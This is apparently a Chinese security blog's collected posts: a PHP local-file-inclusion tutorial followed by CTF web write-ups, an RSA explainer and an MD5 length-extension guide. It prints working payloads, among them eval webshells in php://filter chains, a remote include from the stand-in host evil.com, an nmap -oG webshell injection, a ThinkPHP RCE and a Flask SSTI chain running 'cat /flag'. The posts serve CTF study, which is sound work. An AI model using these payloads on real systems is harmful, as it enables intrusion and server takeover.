很久之前就想写这篇文章了,这次正好接着这个国庆假期就好好写一写,给自己加深写印象。
何为LFI?全程Local File Inclusion,中文译作本地文件包含漏洞。
既然是包含漏洞,那肯定少不了包含的函数。在PHP中,通常是下面四个包含函数:
1 | include() |
这四个函数功能相近,其中带_once
的函数与不带_once
的函数区别在于:对于前者不会进行重复引用,故而造成某些变量覆盖问题。而include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。
既然我们可以选择任意文件进行包含,如果我们选择一个webshell的话,那么岂不是就能拿到网站的控制权限?
最简单的,我们可以通过上传一个包含webshell内容的图片,然后通过包含此图片即可得到一个可以控制的webshell。
除了上传恶意文件以外,我们也可以通过包含一些日志服务产生的日志文件。常用的有:
1 | /proc/self/environ |
session文件包含
此方法需要PHP版本>5.4.0、配置项:session.upload_progress.enabled
的值为On、代码中存在session_start函数,不过好在其默认值为On。
此方法的作用是记录上传文件时的一些信息之用。
当我们在上传文件时,若存在一个上传的字段名与session.upload_progress.name
的值相同的话,当前文件的上传进度信息将会保存在$_SESSION
中获得。
如:
1 | <form action="http://127.0.0.1/1.php" method="POST" enctype="multipart/form-data"> |
此时,在相应的session文件中,就会存有我们上传的恶意代码。
session默认位置:/var/lib/php/sessions/sess_[Cookie中PHPSESSID的值]
。
tmp临时文件包含
同样是上传文件,当PHP遇到enctype="multipart/form-data
时,会产生临时文件来保存上传文件内容,等上传结束后再执行相应操作(及时当前php文件不存在php代码,同样会产生临时文件)。
临时文件默认目录为:
/tmp/php[w]{6}
C:/Windows/php[4个随机字符].tmp
法一:分段传输防止临时文件删除过快。
需要提前知道临时文件的具体位置(上传位置填phpinfo文件时,回显内容中会提供)。
法二:PHP异常崩溃
上传位置填LFI文件
1 | 1. 7.0.0 <= PHP Version < 7.0.28 |
第一种是由于:
php代码中使用php://filter的过滤器
strip_tags
, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不想phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。
当PHP异常退出后,就可以编写脚本,通过遍历文件来尝试包含后getshell了。
利用前提(与data协议的利用前提相同):
若 allow_url_fopen为Off,而allow_url_include为On,可以直接利用php://input
执行恶意代码。
利用过程:
在公网上比如evil.com/1.txt
存放恶意webshell,通过包含http://evil.com/1.txt
即可执行恶意payload。
何为伪协议?简单的说,就是自己定义的协议,也只有自己的软件支持,其他软件都不识别的协议就是伪协议。
在PHP中,PHP给自己定义了一个php伪协议,以:php://
起头。
至于http://
、file://
这些都不是伪协议,都是大部分系统/软件都支持的协议,共享同一套协议标准。
当然,也不只是只有包含函数能使用,类似其他许多涉及到文件读取/写入的函数都可能存在问题,这里我再列举出一些也可以使用PHP伪协议的函数:
需注意的是:
1 |
|
官方定义如下:
php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。
php://filter 目标使用以下的参数作为它路径的一部分。复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。
简单的说就是php伪协议的过滤器功能,可以通过拼接各种过滤器达到快速转换字节流的效果。如:
1 |
|
此时php会读取flag.php文件内容后,通过convert过滤器的base64-encode方法,最总将所得结果以php代码的形式包含到运行的php文件之中,由于base64编码之后的内容不会出现<?
,所以必然不会被识别为php代码,故而能起到文件读取的作用。
前提:allow_url_include=On
,PHP版本>5.2后,默认值为Off。
此方法相当于取HTTP数据包的BODY数据(即POST数据)。如:
1 |
|
如下图:
注意,此协议也可直接执行恶意代码:
1 | <?php |
从这开始后文可能会有点乱,因为我实在不知道如何按什么顺序来写,只好想到哪写到哪了。
对于php://
来说,支持多种过滤器嵌套,其格式为:
1 | php://filter/[read|write]=[过滤器1]|[过滤器2]/resource=文件名称(包含后缀名) |
其中filter/[read|write]=[过滤器]
可简写为filter/[过滤器]
,php会自选判断是read还是write。
而对于过滤器来说,php伪协议主要支持以下几类:
嵌套过程的执行流程为从左到右。常用的过滤器有:
过滤器名称 | 说明 | 类别 | 版本 |
---|---|---|---|
string.rot13 | rot13转换 | 字符串过滤器 | PHP>4.3.0 |
string.toupper、string.tolower | 大小写互转 | 字符串过滤器 | PHP>5.0.0 |
string.strip_tags | 去除<?(.*?)?> 的内容 | string.strip_tags | PHP<7.3.0 |
convert.base64-encode、convert.base64-decode | base64编码转换 | 转换过滤器 | PHP>5.0.0 |
convert.quoted-printable-encode、convert.quoted-printable-decode | URL编码转换 | 转换过滤器 | PHP>5.0.0 |
convert.iconv.编码1.编码2 | 任意编码转换 | 转换过滤器 | PHP>5.0.0 |
zlib.deflate、zlib.inflate | zlib压缩 | 压缩过滤器 | PHP>5.1.0 |
bzip2.compress、bzip2.decompress | zlib压缩 | 压缩过滤器 | PHP>5.1.0 |
对于写出函数来说,php伪协议同样可以执行,此考点以死亡exit最为出名,常在CTF中碰见。
例子:
1 |
|
如何跳出死亡exit,让程序执行我们人为定义的代码?
法一:convert.base64-decode过滤器
此方法需要注意,convert.base64-decode过滤器的特殊规则:
[a_zA-Z0-9_/]
之外的字符通通忽略不计=a √、== ×
。而对于上题来说,php://filter/write=
此处的等号可以简写成:php://filter/
,但是后边的resource=文件名
却不能简写或去掉。
可以配合convert.quoted-printable-decode过滤器,将等号吞掉,如:
1 |
|
其中的ª
为=aa
经过convert.quoted-printable-decode过滤器转换而得。
而对于后边的convert.base64-decode过滤器来说,ª
为可忽略字符,故在不影响后续转换的前提下将等号吞掉了,类似于宽字节SQL注入的原理。
法二:convert.iconv.utf-8.utf-7过滤器
此过滤器会将等号转换成+AD0-
,从而避开了后边的resource=文件名
的影响。
payload1:
1 | php://filter/PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=yunen.php |
此方法需要求:
PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+
过滤器。PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+
处,注意不能出现等号,因为可能会影响前边的base64数据,可在编码前的数据尾添加一些垃圾数据防止影响(base64分段编码特性)。法三:usc-2、usc-4过滤器
payload1:
1 | php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSs[m1lp]e;)>?/resource=s1mple.php; |
payload2:
1 | php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@%20p(lavOP_$s[TS]pm1>?;)/resource=s1mple.php |
法四:string.strip_tags过滤器
payload:
1 | php://filter/string.strip_tags/resource=?>/../yunen.php |
前提条件:
?
与>
。)法五:zlib.deflate|string.tolower|zlib.inflate压缩解压过滤器
payload:
1 | php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0dphpinfo();?>/resource=2.php |
原理:先通过zlib将流数据进行压缩,再讲其中的大写字母转小写后进行解压,所得数据与最初发数据会产生部分差别,故<?php exit()
将会变成<?php@厁it();
。
除了php伪协议外,PHP还支持包含以下协议的数据流:
1 | file:// — 访问本地文件系统 |
在CTF题中,经常遇到限制了后缀的,如:
1 | <?php |
可是我们却无法上传php文件,该如何利用呢?
法一:00截断
前提:PHP版本<5.3.4
1 | lfi.php?f=shell.txt%00 |
法二:长度截断
前提:PHP版本<5.2.10 (?)
操作系统对于目录字符串存在长度限制,在linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复./
即可:
1 | lfi.php?file=././././[./]+/./shell.txt |
法三:zip、phar协议
zip与phar协议均不在意所选定文件的后缀名。
1 | zip://文件路径/zip文件名称#压缩包内的文件名称 (使用时注意将#号进行URL编码) |
接上篇,继续刷题
考点:报错注入。过滤了空白字符、=
等
EXP:
1 | # 取表名 |
登录注入题。
老规矩,先分别使用单引号试报错,顺便看看pw参数有无带入数据库查询(与常见登录验证判断有关)。
尝试后发现,user参数报错,pw不报错。
猜测后端验证逻辑应该是先通过用户名查询数据库信息,再与pw参数做比较。
对于这种验证码方法我们通常采用联合注入法,通过控制返回内容来绕过登录。
EXP:
1 | POST /search.php |
打开题目,发现页面存在一个奇怪链接:
1 | <center><p><a href="Download?filename=help.docx" target="_blank">help</a></p></center> |
看样子应该是一个任意文件下载,只不过不知道能不能跨目录出去读取其他文件。
这里存在一个脑洞,直接GET会报错,改换POST访问才行。
1 | java.io.FileNotFoundException:{help.docx} |
不过也是通过这个“脑洞”,让我们得知此题的后端程序是java。
我们知道,对于java的web开发,WEB-INF文件夹至关重要,其中的web.xml文件对要访问的文件进行相应映射才能访问。
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class。
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件。利用:
通过找到web.xml文件,推断class文件路径,最后下载class文件,通过反编译class文件,得到网站源码。摘自:Web源码泄露总结
故我们读取/WEB-INF/web.xml。
根据命名规则我们推断该class对应的字节码文件应存放在:
1 | /WEB-INF/classes/com/wm/ctf/FlagController.class |
读取后得到flag:
打开题目,得到源码:
1 |
|
简单的反序列题+LFI,关键就在于is_valid
函数的绕过。
此函数限制了payload对应的ascii码区间范围。
若我们直接正常的使用如下payload:
1 |
|
会发现payload中有不可见字符%00,该字符的ascii值是0,会被is_valid
拦截。
直接修改为public属性,EXP:
1 |
|
对于%00出现的属性,只需要将变量名前的小写的s
改成大写的S
,即可将变量名用16进制表示。
1 | 如:s:11:'%00*%00filename'; |
打开题目得源码:
1 |
|
命令执行题,本题关键是得绕过escapeshellarg
与escapeshellcmd
。
关键点再与此处连续套用了转义函数,导致出现了由此产生的bypass绕过方法。
对于$host=a'b
来说
1 | escapeshellarg转义后为:'a\'''b' |
EXP:
1 | ?host=' <?php @eval($_POST["cmd"]);?> -oG evil.php ' |
Nmap中-oG
参数也将输出结果写入文件,我们利用此来写入一个webshell。
然后用蚁剑等webshell管理工具连接读取flag即可。
强网杯随便注魔改题。
考点:handler代替select查询。
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
1 | handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名 |
EXP:
1 | 1';handler `FlagHere` open as yunensec;handler yunensec read first;# |
打开题目,发现页面存在Powered by THINKPHP5的提示。
随便访问一个控制器:/index.php?s=/index/aaaa
,在debug页得到tp版本为5.0.23。
Google一下tp5.0.23的漏洞,发现RCE一枚。
1 | # ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug |
摘自:https://y4er.com/post/thinkphp5-rce/
题目给出Hint:flag is in ./flag.txt
。
打开题目给出源代码:
1 | #! /usr/bin/env python |
考点:MD5长度拓展攻击、local_file协议。
利用长度拓展攻击绕过sign的验证,再利用local_file
协议读取文件内容(file
协议为封装好的local_file
协议)即可,不过直接不填写任何协议直接让param
为flag.txt
也可以,因为如果不写协议名称默认即为file
协议。
由于篇幅限制,这里不进行对hash长度拓展攻击的解读。
题目给出提示:cve-2020-7066
通过搜索引擎查找得到如下信息:https://bugs.php.net/bug.php?id=79329
可以看到在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中get_headers
函数存在00截断问题。
题目首页告诉了我们:
1 | You just view *.ctfhub.com |
故不能直接输入其他的地址,故我们尝试截断试试让其获取的值为本地IP:127.0.0.1:
可以看到题目返回了PHP版本为7.3.15,00截断问题存在,而后又给出了提示,HOST必须为123,修改或访问得到FLAG:
打开题目,首页显示:
1 | flag在哪里呢? |
查看源代码以及响应头,均无tips给出
使用direarch扫描文件,得到如下结果:
发现存在.git目录泄露,尝试还有lijiejie的githack脚本还原代码:
1 | python2 Githack.py http://www.example.com/.git/ |
得到文件index.php,源代码如下:
1 |
|
很明显,题目需要我们构造一个无参命令执行payload。
常见的无参构造利用方法如下:
- getenv()+array_rand()+array_flip(),其中getenv返回包含当前环境信息的数组,array_rand随机返回数组的值,array_flip将数组键值互换。
- end(getallheaders())
- apache+array_rand()+end()+ger_defined_vars()
- hex2bin()+session_id()+session_start(),PHPSESSION允许数字与字母出现(部分符号也可,如括号,点号)。
- dirname()取目录参数的上一级目录,getcwd()取当前目录,chdir设置当前工作目录。跨目录读取demo:
readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
。readfile(next(array_reverse(scandir(current(localeconv())))));
- end() – 将内部指针指向数组中的最后一个元素,并输出
- next() – 将内部指针指向数组中的下一个元素,并输出
- prev() – 将内部指针指向数组中的上一个元素,并输出
- reset() – 将内部指针指向数组中的第一个元素,并输出
- each() – 返回当前元素的键名和键值,并将内部指针向前移动
常见数组操作,摘自:w3school
题目关键正则分析:[a-z,_]+\((?R)?\)
(?R)
表示当前正则表达式,也就是[a-z,_]+\((?R)?\)
本身,故这个表达式本质上类似套娃正则,即:
1 | [a-z,_]+\([a-z,_]+\([a-z,_]+\([a-z,_]+\(...\)\)\)\) |
法一:
法二:
法三:
经典上传题,.htaccess解析图片即可。
上传包含php代码的文件:
访问即可得到FLAG:
简单总结下上传题经典套路:
Content-Type: image/jpeg
文件类型、上传%00
截断文件名php、php2、php3、php4、php5、phtml、phtm
后缀<script language=”php”>
、<? ?>
、<?= ?>
。打开题目,观察到被跳转到了另一个URL:
1 | index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd= |
img参数有点想base64编码,连续base64解码得到:
1 | 3535352e706e6630 |
注意观察,有数字,有字母,无符号,数字0、3、5、2、7、6
,字母e
,满足hex的范畴,尝试hex转字符串得:
1 | 555.pnf0 |
故此题的编码应该为string->hex->base64->base64
尝试读取index.php,img参数为base64_encode(base64_encode(hex2bin('index.php')))
:
1 | /index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd= |
得index.php源码:
1 | <?php |
其中关于:
1 | (string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']) |
的绕过是老生常谈了,这里对这种md5函数总结一下几种方法:
数组对比,a[]=1&b[]=2,md5($a)=null且md5($b)=null
0e弱比较绕过,s878926199a和s1091221200a
`
%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
明文不同,MD5相同。
1 |
|
content: 129581926211651571912466741651878684928
hex: 06da5430449f8f6f23dfc1276f722738
raw: \x06\xdaT0D\x9f\x8fo#\xdf\xc1’or’8
string: T0Do#’or’8
1 |
content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: ‘or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: ‘or’6]!r,b
1 |
|
简单的md5绕过+弱比较,EXP:
1 | POST /?gg[]=1&id[]=2 HTTP/1.1 |
打开题目,页面元素过多,感觉没有啥可用的信息。
简单看一下HTML源代码+请求响应头后,就打开direarch开始扫描了:
1 | python3 direarch.py -u http://x.x.x.x/ -e php,zip -t 1 # BUU请求数限制 |
扫描器有扫到.git目录,随后打开lijiejie的githack工具,尝试dump下源码。
主要文件index.php:
1 |
|
可用看到开头就有两个变量注册:
1 | foreach($_POST as $x => $y){ |
会把$_GET
和$_POST
的键名作为变量名,值作为变量值,来组成新的变量。
接着有三段连续的死亡exit,我们不能让我们的payload执行到那里。
1 | // 批量判断$_GET中是否存在键名与$_GET['flag']的值相同的其他键 |
本题的关键是需要满足isset($_GET['flag']) || isset($_POST['flag']
的同时,还需满足$_POST['flag'] !== 'flag' && $_GET['flag'] !== 'flag'
。
1 | if(!isset($_GET['flag']) && !isset($_POST['flag'])){ |
通过GET方式传递参数yds=flag,使得$yds=$flag
,最终执行到上述代码时带出flag的值。
1 | GET /?_POST=_GET&_GET=_COOKIE HTTP/1.1 |
通过覆盖$_POST
与$_GET
绕来两个死亡exit,通过最终的输出那道flag。
从题目猜出应该是与数据库有关的题目,通过扫描工具扫描得出:phpinfo.php
与phpmyadmin目录。
访问phpmyadmin,访问直接已经登录好了。在首页处得到phpmyadmin版本:4.8.1。
通过phpinfo可以得到网站运行目录:/var/www/html
尝试直接写出文件,查看secure_file_priv权限,如果为’’则可以写入文件,为NULL则无权限。
再尝试修改日志路径拿shell
报错,提示权限不足。
打开搜索引擎,搜索phpmyadmin 4.8.1之后找到一个phpmyadmin的包含漏洞,详细分析地址:phpmyadmin4.8.1后台GetShell。
用图中的payload直接读取FLAG:
1 | /phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../flag |
这题和上边那题MRCTF2020的上传题是一样的,都是上传.httaccess文件后再上传一个jpg文件即可。
注意,这里做了文件头和php内容判断,用GIF89a和<script language='php'>php代码</script>
。
读取根目录的FLAG:
1 | /upload/0cffff4b7b760870553f87db86cc9953/2.jpg?cmd=highlight_file(%27/flag%27); |
刚参加完比赛,趁还热乎这,就简(shui)单(pian)记(bo)录(ke)一下解题过程吧。逃(
web共有4题,能力有限,只做出了3题。
题目告诉了web框架是flask,故开题直接老规矩,寻找SSTI。而考点重灾区,404页面肯定是第一时间要尝试的。
寻找404页面:
发现页面会将地址信息填充到页面内,直接{{ 7*7 }}
尝试,如果返回49则代表此处极有可能存在SSTI漏洞。
BINGO。接下来尝试从基类寻找危险函数了。
在此过程中发现题目存在WAF,对于存在下划线_
与点号.
的URL会被WAF拦截。
对于下划线我们可以通过请求代换给他去掉,如
1 | POST /{{ ""[request["values"]["class"]] }} |
上述payload在flask环境下相当于:
1 | GET /{{ "".__class__ }} |
寻找可用的类(通过Burp的Intruder爆破):
1 | POST /%7B%7B''[request["values"]["class"]][request["values"]["mro"]][request["values"]["subclass"]]()[§§][request["values"]["init"]][request["values"]["globals"]][request["values"]["builtins"]]%7D%7D HTTP/1.1 |
450为无效数据,在有效数据内随意找一个含有eval的类来执行代码:
读取利用eval函数列目录然后读取FLAG即可。
EXP:
1 | POST /%7B%7B''[request["values"]["class"]][request["values"]["mro"]][request["values"]["subclass"]]()[41][request["values"]["init"]][request["values"]["globals"]][request["values"]["builtins"]]['eval'](request["values"]["a"]%2b"import"%2brequest["values"]["a"]%2b'("os")'+request["values"]["b"]+"popen('cat /flag')"+request["values"]["b"]+'read()')%7D%7D HTTP/1.1 |
这题侥幸拿了个一血,考点是PHP正则回溯漏洞。
打开题目链接,随意点了两下,发现一个可疑的URL,疑似是文件包含的功能,尝试LFI读取一下。
另一边direarch的结果也出来了:
结合本次题目标题,猜测考点为sql注入,我们先读取一下sql.php文件,看下后端的SQL代码是如何拼接的。
1 | file.php?file=php://filter/read=convert.base64-encode/resource=sql |
得到sql.php源代码:
1 |
|
老实说,看到第一个正则判断就知道是考PHP正则回溯了,之前有碰到过相关的题。
故我们编写脚本,使用脚本帮助我们添加100w个垃圾数据,EXP如下:
1 | # author: yunen |
这题挺有意思的,前前后后花费了好几个小时,最终才在比赛结束前半个小时弄出来。
打开题目得到源码:
1 |
|
可以看到关键点在与:
1 | $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; |
而第一句是不是有些眼熟?没错,这是EIS 2019 EZPOP其中的一个考点之一,并且后续也有几个题目模仿了此题,可以说是老熟悉的题了。
但是此题的关键再于$filename
与$data
序列化前的内容相同。
对于sprintf('%012d', $expire)
来说,会返回12位的数字字符串,接着与exit()
拼接上形成一段php代码。
由于exit()
的存在,使得正常情况下程序不会执行到exit()
之后的内容。所以如何跳出死亡exit成为了关键所在。
这里我们采用LFI来控制file_put_contents写入的内容,payload如下:
1 | expire=0&path=php://filter/write=convert.iconv.UCS-4LE.UCS-4BE|hp?<e@%20p(lavOP_$s[TS]pm1>?;)/resource=s1mple |
其中convert.iconv.UCS-4LE.UCS-4BE
过滤器会将伪协议加载的字节流进行可以进行usc-4编码转化,从而使得原本的死亡exit代码块面目全非,php解析器自然是无法识别的。而我们自行构造的字节流也能拼接上去,经过编码转换后成为新的php代码。这段说得有点笼统,具体的详情请移步至这位大佬的文章:file_put_content和死亡·杂糅代码之缘。
这次比赛题目质量还行,虽说对于大佬来说可能就是洒洒水的级别,但总的来说还算有所收获的,学到了一些东西,也感受到了自己不足的一些方向。对于web2的sql那题来说,能拿一血就是对我平常习惯写文章来记录所学内容的一种肯定,如果当初自己没写那篇总结,估计也那不到一血。XD
最后放一张弟弟队的成绩图,前几名的大佬都tql,orz。
]]>又是打CTF遇到的考点,也不是啥新鲜玩意了,这东西属于密码学的范畴,不过却是学信安的同学必须掌握的内容。今天就来打算好好学学这RSA究竟是个怎样的东西,让CTF考了这么多遍至今仍是一道频率极高的考点。
我们都知道,对于数字届来说,质数无遗是一种十分特殊的存在。他不会被除了1和他自身之外的正整数给整除,即他的因子只有1和他自己。而以目前的计算机算力来说,对于一个由两个1024位长的质数相乘得到的整数,想要反求他是由哪两个质数相乘而来实在困难重重。根据这一特性,RSA加密算法应运而生。
想要弄清楚RSA加密原理,就不得不提到一位数学家——欧拉。
这里主要围绕他最经典的欧拉定理来展开
欧拉定理(n为正整数,a为非零整数):
推论1,若m,n为互斥的正整数,则如下式子成立:
推论2:设存在整数a,b满足如下定义:
故ab相乘得到:
可推出:
又因为:
故:
且由于:
故得到:
p
、q
n=q*p
(RSA密钥位数即为n
的二进制表示位数)0
小于n
且与n
互质的整数个数e
且与(p-1)*(q-1)
互质d
:此时我们的基本准备工作就做好了。
对于需要加密的明文m
来说,可根据如下公式得到密文c
:
而对于密文c
来说,可根据下边的公式得到明文m
:
让我们来证明该方程组的正确性。
由上文的模反运算可得:
故而:
又因为:
所以:
综上所述:
又因为:
进而得到:
我们令:
则可得到:
等式方程组成立。
在上述方程组中,(n,e)
为公钥,(n,d)
为私钥。公钥为公开状态,可供用户端进行加解密,私钥为私密状态,供服务端加解密。
对于流量嗅探来说,攻击者获取到受害者发送的流量,此时的数据在上述方程来说为c
,除此之外攻击者还知道的值有:n与e
。
对于式子由于无法知道与余数c
有关的商为多少,所以也无法得知m^e
的值,故而无法求出m
。
而对于式子来说,私钥d
是关键,如果d
能被攻击者成功找到,那么数据m
自然也是轻松算出。
私钥d
是有模反运算得出的,由上文,我们知道:
其中k
为任意正整数。若想得到私钥d
,就得想办法算出的值。
其中n
在公钥内已给出,而剩下的内容就是计算。
若在已知p
和q
的前提下,由公式:
可以很方便的计算出该值。
若在不知道p
和q
的前提下,则只能通过其定义进行计算与因数分解找出p
和q
两种办法,前者具体指的是找出大于0小于n
且与n
互质的整数个数。
这两种方法以当前计算机的发展来看,在n
极大且未有解的情况下,需要难以估计的计算机算力去花费很长时间运算才有可能计算出来,故而可以认为该值在不知道质数p
和q
值的情况下是不可能算出来的。
故而在不知道私钥d
的情况下,可以认为数据m
是安全的,无法被窃取与串改。
关于RSA的应用,我觉得SSL证书肯定是得讲讲的。简单的说,我们的操作系统内部内置由一些权威的CA证书机构的根证书(Root CA)。一个网站如果想要申请SSL证书(CA证书的一种)来保护自己用户的隐私,就需要向这些证书机构的代理商申请/购买证书,并需要验证网站的拥有者权限后才能成功获得SSL证书。
此证书通常包含格式为pem的证书文件(内容证书信息与证书公钥)与格式为key的私钥文件。
网站站长在部署SSL证书时候,当用户访问https://www.example.com/
时,首先会判断是否下载过含公钥的证书,若没有下载,则与服务器通信将证书下载回本地。用户浏览器在使用证书里的公钥加密前会通过证书信息的内容向SSL证书发行链向上验证,判断当前SSL证书的合法性,此内容不在本文讨论范畴,感兴趣的读者可自行查阅资料。
当用户证书验证合法之后,浏览器会将流量与公钥进行加密运算,确保传输过程中的数据安全。
在一些封闭的手机环境,如IOS。用户无法安装费AppleStore的应用,原因就在于苹果系统内置了一份公钥,而在你想要安装新应用的时候,会去尝试使用这份公钥去解密APP内由AppleStore颁布的签名,此签名由苹果绝密的私钥生成,若签名正确,则代表此应用来自AppleStore,属于正常应用,允许用户安装,否则会禁止用户安装此应用,一定程度上确保用户的手机安全。
非对称算法里边RSA应该算是比较好学习的了,不仅在日常中应用广泛,近年来各种CTF也有相应的题目,可谓是不可不学。由于笔者是个纯web狗,第一次写这类文章,若出现什么错误,欢迎指正,感谢。
最近在做CTF题的时候遇到这个考点,想起来自己之前在做实验吧的入门CTF题的时候遇到过这个点,当时觉得难如看天书一般,现在回头望去,仔细琢磨一番感觉也不是那么难,这里就写篇文章记录一下自己的学习的过程。
何为HASH长度拓展攻击?
简单的说,由于HASH的生成机制原因,使得我们可以人为的在原先明文数据的基础上添加新的拓展字符,使得原本的加密链变长,进而控制加密链的最后一节,使得我们得以控制最终结果。
这里我们以MD5加密算法为例子。
下面是个简单的PHP例子。
1 |
|
在这个例子中,我们需要使得变量$token
与我们输入的sign参数满足一致才会输出flag。
而由于我们无法知道变量$secretKey
的内容,所以无法得到$token
的值,故而看似是没有办法获取到flag的死局,而这时便轮到我们的拓展攻击来大显身手了。
若想搞清楚原理,其算法的流程是必须了解的。不过我们无需去关心那些复杂的运算,只需要知道的大概的一个流程就OK了。
这里借一张神图:
看不懂也没关系,相信你看完我这篇文章后再返回来看这张图就很清晰明了了。
我们还是举个例子,对于字符串aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbb
(64个a、3个b)。长度为19个字符,且根据ASCII表,字符a、b的十六进制分别为0x61、0x62。
而我们知道,1
位十六进制相当于4
位二进制表示(16=2^4
)。所以对于64个字符a的长度来说,其二进制长度为:字符长度*二进制位数2*十六进制转二进制位数拓展4=64*2*4=512
。
对于MD5算法来说,我们需要将原数据进行分块处理,以512位个二进制数据为一块。”最后“一块的处理分为以下几种情况:
两种情况如下图:
注意:每块数据的长度均为512位二进制,图中的数据我没有全都用二进制来表示,将明文数据分块之后就可以与向量进行运算了。
对于padding数据(长度不定)来说:首位二进制位1,其余位为0.
对于长度信息位(长度8Byte=64bit)来说,从低位向高位数,如上图的长度信息:f0 03 00 00 00 00 00 00
即代表0x03f0,其对应的十进制为1008,即为64+62=126个字符的二进制位数(一个字符1Byte即8bit)。
对于MD5算法来说,有一串初始向量如下:
1 | A=0x67452301 |
这串初始向量的值是固定的,作为与第一块数据运算的原始向量。
当这串向量与第一块数据块运算之后,得到了一串新的向量值,这串新的向量值接着与第二块数据块参加运算,直到最后一块数据块。
如下图所示:
而最后的MD5值就是这最后的向量串经过如下转换的结果。
如向量串:
1 | A=0xab45bc01 |
先两两为一组进行组合,得到如下数据:
1 | ab 45 bc 01 |
再进行高低位互换,得到如下数据:
1 | 01 bc 45 ab |
最终拼接得到MD5值:01bc45ab53bb646afe8aba23627a8446
。
现在,让我们回到开始的那个例子。
对于MD5值:2df51a84abc64a28740d6d2ae8cd7b16。我们可以根据MD5与向量互转规则,将MD5转成md5($secretKey + "test")
的最终向量值(A’、B’、C’、D’):
1 | A'=0x841af52d |
过程如图:
这时候我们修改$v1
变量的内容为:
1 | "test" + [0x80 + (0x0)*45] + [0x50 + 0x0*7] + "abc" |
则上述过程则被延续成下图所示:
而对于上述运算过程来说,我们知道了倒数第二个向量串的内容和最后一个数据块,这样一来,最终的MD5值我们也可以自己通过MD5算法计算出来了。
如同MD5算法那般分组后与向量运算的流程被统称为Merkle–Damgård结构。
而同样使用此结构的HASH算法还有:SHA1、SHA2等
hashpump是一个专门生成MD5长度拓展攻击payload的工具。
Github仓库:https://github.com/bwall/HashPump
安装方法:
1 | #Linux |
安装好之后在终端里输入hashpump,回车即可:
以之前的例子为例,使用hashpump生成payload:
故我们的EXP即为(\x
用%
代替):
1 | /?str=test%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00P%00%00%00%00%00%00%00abc&sign=bac6cb2d585d2de3f5f48f2759d2e5a7 |
成功读取FLAG:
相关CTF题可供练习:
其实这个知识点确实不难,但是回看两年前的自己,那时候是真的完完全全看不懂看不明白,但是现在只花了十几分钟就可以说是掌握这个知识点了。原来我们不知不觉间也对知识的认知又提升了一个台阶,原先难如天书的内容现在看来也不过尔尔,原先看不到、接触不到的知识,现在也有信心能够去尝试去学习、去理解并掌握。学习本该如此,如攀登高山一般,只有开始攀登,才有机会看得到山脚下看不到的风景,也唯有不断攀登,才能看到更多更多风景。
今天刚打了CISCN2020,简单的WEB题都没有AK… 太菜了
通过题目描述猜测本题的考点应该是要让子线程非正常退出,执行phpinfo()
得到flag。
根据代码:
1 |
|
查询手册得到:
pcntl_wait函数刮起当前进程的执行直到一个子进程退出或接收到一个信号要求中断当前进程或调用一个信号处理函数。 如果一个子进程在调用此函数时已经退出(俗称僵尸进程),此函数立刻返回。子进程使用的所有系统资源将 被释放。
故我们尝试使用回调函数调用pcntl_wait函数,让子线程异常退出。
Ture
和False
在充当int类型参数时会转成1和0。
EXP:
1 | /?a=call_user_func&b=pcntl_wait |
通过扫描工具得到源码www.zip
,下载下来读取后发现此题很多都是假功能,读取flag处与其他功能在正常逻辑下是毫无办法获取到的。
发现setFn(req.session.knight, key, value);
